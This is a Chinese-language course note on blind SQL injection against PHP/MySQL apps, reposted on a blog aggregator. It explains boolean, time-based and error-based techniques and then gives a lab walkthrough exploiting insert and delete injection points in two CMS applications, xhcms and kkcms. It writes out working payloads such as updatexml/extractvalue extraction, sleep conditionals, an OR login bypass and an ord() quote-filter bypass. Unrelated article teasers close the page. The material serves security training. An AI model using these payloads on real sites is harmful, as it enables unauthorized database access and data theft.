044-WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

news2024/12/26 21:28:40

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

#知识点:

1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理

演示案例:

➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟

#PHP-MYSQL-SQL操作-增删改查

1、功能:数据查询

  • 查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

  • 增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

  • 删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

  • 修改:UPDATE news SET id=$id

#PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中获取的数据不能回显==至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断==(盲注可用布尔盲注(需要回显)==

Untitled

regexp,like,ascii,left,ord,mid

  1. RegExp(正则表达式):
    • 正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
    • 正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。
  2. LIKE(模糊匹配)
    • LIKE 经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。
    • 它允许使用通配符字符,(匹配任何字符序列)和_(匹配任何单个字符)。
  3. ASCII码:
    • ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
    • ASCII 值表示文本字符,被广泛用于计算机中。
  4. LEFT(左侧提取指定数量的字符):
    • 在字符串操作的上下文中,LEFT 是一种在一些编程语言或数据库查询语言中使用的函数。
    • 它从字符串的左侧提取指定数量的字符。
  5. ORD:
    • ORD 是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。
    • 例如,ord('A') 返回 ‘A’ 的 ASCII 值,即 65。
  6. MID:
    • MID(或在一些语言中称为 SUBSTRING)是一种从给定字符串中提取子字符串的函数。
    • 它需要指定的起始位置和要提取的子字符串的长度。

下面是 Python 的一个快速示例:

import re

# 正则表达式(RegExp)
pattern = re.compile(r'\\d{3}-\\d{2}-\\d{4}')  # 匹配社会安全号码模式

# SQL 中的 LIKE
 SELECT * FROM table WHERE column LIKE 'abc%'

# ASCII
ascii_value = ord('A')  # 返回 65

# LEFT
original_string = "Hello, World!"
left_result = original_string[:5]  # 返回 "Hello"

# ORD
ascii_value_of_H = ord('H')  # 返回 72

# MID
substring = original_string[7:12]  # 返回 "World"

布尔相关注入语句:

#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断==(报错和回显都不需要)==

if,sleep

  1. IF语句:
    • SQL中的**IF**语句用于条件执行,根据指定的条件执行一组SQL语句。
    • 在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
  2. SLEEP函数:
    • SLEEP函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。
    • 攻击者利用**SLEEP函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。**

下面是一个简单的示例,演示了基于时间的盲注攻击:

假设存在一个有漏洞的查询:

SELECT * FROM users WHERE username = 'input' AND password = 'input'

攻击者可能注入以下有效载荷:

' OR IF(1=1, SLEEP(5), 0)--

在这个注入中,IF(1=1, SLEEP(5), 0)语句将始终为真,导致执行SLEEP(5)函数。双破折号(--)用于注释掉原始查询的其余部分,以防止语法错误。

延迟相关注入语句:

#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显**(加入报错处理可利用报错盲注)**

Untitled

floor,updatexml,extractvalue

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息

  1. FLOOR:

    • FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
    • 如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。
  2. updatexml:

    • updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息

    • 示例:
      上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。

      updatexml(1, concat(0x7e, (SELECT database())), 1)
      
  3. extractvalue:

    • extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。

    • 示例:
      上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。

      extractvalue(1, concat(0x7e, (SELECT user())), 1)
      

报错相关注入语句:

#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

4.参考:

  • 更多:https://www.jianshu.com/p/bc35f8dd4f7c
like 'ro%'            #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1)database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

#PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错

1.基于延时:((报错和回显都不需要))

  • and if(1=1,sleep(3),0)

    • if 函数被使用,但条件始终为真(1 =1)。

    • 因此,sleep(3) 函数会执行。

    • 这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。

      Untitled

  • and if(left(database(),1)='d',sleep(3),0)

    • 是检查当前数据库的名称的第一个字符是否为 ‘d’。如果是,它会引入一个3秒的延迟(sleep(3)),否则返回0。

      Untitled

      Untitled

2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显

Untitled

  • 通过判断页面上的某个元素变化,来判断是否注入成功

    • and length(database())=6(检查当前数据库名称的长度是否为6。)

    • 当变为7则出现页面无内容,则证明,该数据库名称的长度是否为6

      Untitled

      Untitled

    • and left(database(),1)='d';(检查当前数据库名称的第一个字符是否为 ‘d’。)

    • 当变为p则出现页面p无内容,则证明,该数据库名称第一个字符是 ‘d’

    Untitled

    Untitled

3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注)

Untitled

  • and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

    • 攻击者试图**通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号**,从而引发错误并泄露版本信息。

      Untitled

  • and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    • 攻击者试图==通过 extractvalue 函数获取 information_schema.tables 表的第一个表名==。通过观察错误消息,攻击者可以逐步推断数据库结构。

4.测试delete注入:(有无回显,有无报错)

  • 分析源码得出

    Untitled

Untitled

  • SQL注入攻击中**使用 ORAND 的选择通常取决于攻击者试图实现的目标和特定的注入场景。**让我解释一下使用这两个逻辑运算符的原因:

    1. 使用 OR

      • 目标多条件的成立: 攻击者可能使用 OR 运算符来构造注入条件,以确保多个条件中的至少一个成立。这对于布尔盲注攻击很有用,因为攻击者可以通过观察应用程序的行为来确定是否存在真或假的条件。
      • 绕过登录验证: 在登录场景中,攻击者可能使用 OR 条件来绕过用户名和密码的验证,使条件总是为真,从而成功登录。
    2. 使用 AND

      • 目标多条件同时成立: 有时,攻击者可能希望确保多个条件同时成立,这时候 AND 运算符更适用。这在一些特定的注入场景中可能更有用。

      • 限制结果集: 使用 AND 可以帮助攻击者过滤结果集,以获取更具体的信息。例如,AND 可以用于构造条件以筛选特定用户的数据。

        Untitled

(1) 删除(延迟):1 and if(1=1,sleep(3),0)

Untitled

Untitled

(2)删除(布尔):4 and length(database())=6(无回显 无法判断注入)

Untitled

Untitled

(3)删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

Untitled

Untitled

#PHP-MYSQL-CMS案例-插入报错&删除延时

面试问题:如果是黑盒测试,要求盲注,选用什么方式?

回答:可以选择报错或延时(由于无法判断,其源码是否有容错处理,首先试一下报错,使用延时也可以,但是需要注意符号问题)

1、xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:insert
  3. 发现有报错处理:文件路径为:files/submit.php
  4. 由于网址在index.php有规定,特殊的路由访问方式
  5. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发**
  6. 所以直接使用http://192.168.137.1:85/?r=contact 触发网址,并对照源码发现,就是此页面**
  7. 再次查看submit.php页面发现其SQL语句中的表名为$query = "INSERT INTO ***interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;*
  8. 分析sql语句$query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now())"; 发现有‘ ’影响,在注入时,需要避免
  9. 使用注入:' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  10. 注意:留言内容必须是中文,不然会无法回显报错
  11. 数据回显:新增错误:XPATH syntax error: '5.7.26’,盲注成功

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

2、kkcms-delete延时

and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:delete
  3. 发现有删除相关代码:文件路径为:admin/model/usergroup.php
  4. 访问发现http://192.168.137.1:86/admin/model/usergroup.php,出现空白,
  5. 解决:必须需要登录http://192.168.137.1:86/admin 还是空白
  6. 由于**usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配**
  7. 搜到包含文件**include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php**
  8. http://192.168.137.1:86/admin/cms_usergroup.php 访问成功
  9. 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp**

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

  • 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功**?del=4 or if(1=1,sleep(2),sleep(0))**

  • 回显200成功后,将**?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功**

    • 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别
  • **?del=4%20or%20if(**length(database())=5**,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位**

  • **?del=4%20or%20if(**left(database(),1)='k'**,sleep(1),sleep(0))将判断内容替换为**检查当前数据库名称的第一个字符是否为 ‘k’。

    Untitled

    • 发现,回显的数据包,并没有延时,但数据库名为kkcms
    • 将源码的sql语句打印出来,发现是源码对于单引号做了过滤
      • ord() 函数:
      • ord() 函数返回字符串的第一个字符的 ASCII 值。
      • 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。
  • 将**?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤**

Untitled

Untitled

Untitled

Untitled

#xhcms-kkcms-网址搭建

1、xhcms

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

2、kkcms

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1472821.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

不懂且不会用循环OB块的plc工程师不是优秀的plc工程师

本章介绍了循环中断OB的功能、与循环中断OB相关的指令、执行过程以及举例说明的内容。 循环中断 OB ● 循环中断 OB 的功能 循环中断 OB 在经过一段固定的时间间隔后执行相应的中断 OB 中的程序。 S7-1500 最多支持 20 个循环中断 OB &#xff0c;在创建循环中断 OB 时设定…

✅技术社区项目—JWT身份验证

通用的JWT鉴权方案 JWT鉴权流程 基本流程分三步: ● 用户登录成功之后&#xff0c;后端将生成的jwt返回给前端&#xff0c;然后前端将其保存在本地缓存; ● 之后前端与后端的交互时&#xff0c;都将iwt放在请求头中&#xff0c;比如可以将其放在Http的身份认证的请求头 Author…

Mysql 高可用解决方案

1.环境说明 操作系统&#xff1a;centos7.7 主服务器&#xff1a;node2(192.168.1.102) 从服务器&#xff1a;node3(192.168.1.103) keepalived中虚拟ip(VIP):192.168.1.100 2.准备事项 主库和从库数据库的版本一致把主库的数据同步给从库一份 3.主库配置 3.1 编辑MySQL配…

【踩坑】修复报错 you should not try to import numpy from its source directory

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 报错如下&#xff1a; 修复方法一&#xff1a; pip install pyinstaller5.9 修复方法二&#xff1a; pip install numpy1.24.1

ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现

ActiveMQ ActiveMQ Web控制台分为三个应用程序&#xff1a;其中admin&#xff0c;api和fileserver&#xff0c;其中admin是管理员页面&#xff0c;api是界面&#xff0c;fileserver是用于存储文件的界面&#xff1b;admin和api需要先登录才能使用&#xff0c;fileserver不需要…

Three.js 基础属性

三维坐标系 辅助观察坐标系 THREE.AxesHelper()的参数表示坐标系坐标轴线段尺寸大小&#xff0c;你可以根据需要改变尺寸。 // AxesHelper&#xff1a;辅助观察的坐标系 const axesHelper new THREE.AxesHelper(150); scene.add(axesHelper);材质半透明设置 设置材质半透明…

【行业会议】优积科技应邀参加住建部模块建筑企业2023年工作座谈会

2023年3月2日&#xff0c;优积建筑科技发展&#xff08;上海&#xff09;有限公司&#xff08;以下简称“优积科技”&#xff09;应邀参加由住房和城乡建设部科技与产业化发展中心&#xff08;以下简称“住建部科技与产业化中心”&#xff09;组织召开的模块建筑企业2023年工作…

022 基于Spring Boot的校园二手交易平台(源码+数据库+10000字论文)

部分代码地址&#xff1a; https://github.com/XinChennn/xc022-Used-Trading-Platform2 基于Spring Boot的校园二手交易平台&#xff08;源码数据库10000字论文&#xff09; 一、系统介绍 基于Spring Boot的校园二手交易网站&#xff0c;方便学生处理自己的旧物&#xff0c…

【域适应论文汇总】未完结

文章目录 DANN&#xff1a;Unsupervised Domain Adaptation by Backpropagation (2015)TADA&#xff1a;Transferable Attention for Domain Adaptation&#xff08;2019 AAAI&#xff09;1 局部注意力迁移&#xff1a;Transferable Local Attention2 全局注意力迁移&#xff1…

阿里云2核4G5M服务器199元一年性能测评

阿里云服务器ECS u1实例&#xff0c;2核4G&#xff0c;5M固定带宽&#xff0c;80G ESSD Entry盘优惠价格199元一年&#xff0c;性能很不错&#xff0c;CPU采用Intel Xeon Platinum可扩展处理器&#xff0c;购买限制条件为企业客户专享&#xff0c;实名认证信息是企业用户即可&a…

2024年开学季推荐:数码装备购物清单,校园生活必备神器

随着开学的钟声即将敲响&#xff0c;全新的学年画卷正在缓缓展开。它不仅承载着我们对知识的渴望和对未来的憧憬&#xff0c;更是我们挥洒青春、展示才华的舞台。在这个充满无限可能的新起点&#xff0c;每一位学子都怀着期待&#xff0c;准备踏上成长的征程。然而为了更好地适…

Linux忘记mysql密码

Linux忘记mysql密码 我们在linux操作系统上&#xff0c;输入密码 出现这样的错误 解决 1.首先我们需要修改/etc/my.cnf vim /etc/my.cnf2.我们需要再文件的最后一行添加 skip-grant-tables跳过权限表 3.我们保存文件&#xff0c;之后重启mysql service mysqld restart4.…

阿里云ECS u1实例2核4G5M固定带宽80G ESSD Entry盘性能测评

阿里云服务器ECS u1实例&#xff0c;2核4G&#xff0c;5M固定带宽&#xff0c;80G ESSD Entry盘优惠价格199元一年&#xff0c;性能很不错&#xff0c;CPU采用Intel Xeon Platinum可扩展处理器&#xff0c;购买限制条件为企业客户专享&#xff0c;实名认证信息是企业用户即可&a…

暂时的停更

最近因学业紧张&#xff0c;暂时停更&#xff0c;但还是会上线 我的专栏&#xff1a;C教程 感谢大家的支持

浅谈 目录项(dentry) 、 inode 、硬链接

文章目录 名词解释inode 介绍dentry 介绍硬链接 介绍 名词解释 inode&#xff1a;索引节点&#xff0c;是一个结构体&#xff0c;存储文件的属性等信息。 dentry&#xff1a;目录项&#xff0c;是一个 dir_entry 结构体&#xff0c;重要成员有文件的 inode 索引号&#xff0c;…

[NPUCTF2020]ezinclude ---不会编程的崽

做完这题&#xff0c;又get到一个新的知识点。上界面 源代码里有线索 secret是秘密值&#xff0c;name与pass应该是可以控制的变量。抓个包看看 发送与请求有hash值&#xff0c;没猜错应该是用来验证的。拿去爆破了&#xff0c;啥也没爆破出来。先传参 右边的hash值改变了。猜想…

Transformer视频理解学习的笔记

今天复习了Transformer,ViT, 学了SwinTransformer, 还有观看了B站视频理解沐神系列串讲视频上&#xff08;24.2.26未看完,明天接着看&#xff09; 这里面更多论文见&#xff1a;https://github.com/mli/paper-reading/ B站视频理解沐神系列串讲视频下&#xff08;明天接着看&a…

matlab动力学共振颤振研究

1、内容简介 略 58-可以交流、咨询、答疑 采用四阶龙哥库塔方法求解方程组&#xff0c;方便控制碰撞的时间&#xff0c;检测到碰撞的时间&#xff0c;改变速度&#xff0c;调整位移&#xff0c;碰撞检测通过对比相对位移 2、内容说明 略 基本思路&#xff1a;采用四阶龙哥…

【前沿热点视觉算法】-面向显著目标检测的注意区域空间金字塔池网络

计算机视觉算法分享。问题或建议&#xff0c;请文章私信或者文章末尾扫码加微信留言。 1 论文题目 面向显著目标检测的注意区域空间金字塔池网络 2 论文摘要 显著目标检测&#xff08;SOD&#xff09;的最新进展主要依赖于空间空间金字塔池&#xff08;ASPP&#xff09;模块…

2024全国水科技大会暨土壤和地下水污染防治与修复技术创新论坛(七)

论坛召集人&#xff1a;李 辉 上海大学环境与化学工程学院教授 一、会议背景 十四五”时期&#xff0c;我国生态文明建设进入以减污降碳协同增效为重点战略方向&#xff0c;促进经济社会发展全面绿色转型&#xff0c;实现生态环境质量改善由量变到质变的关键时期。聚焦土壤与地…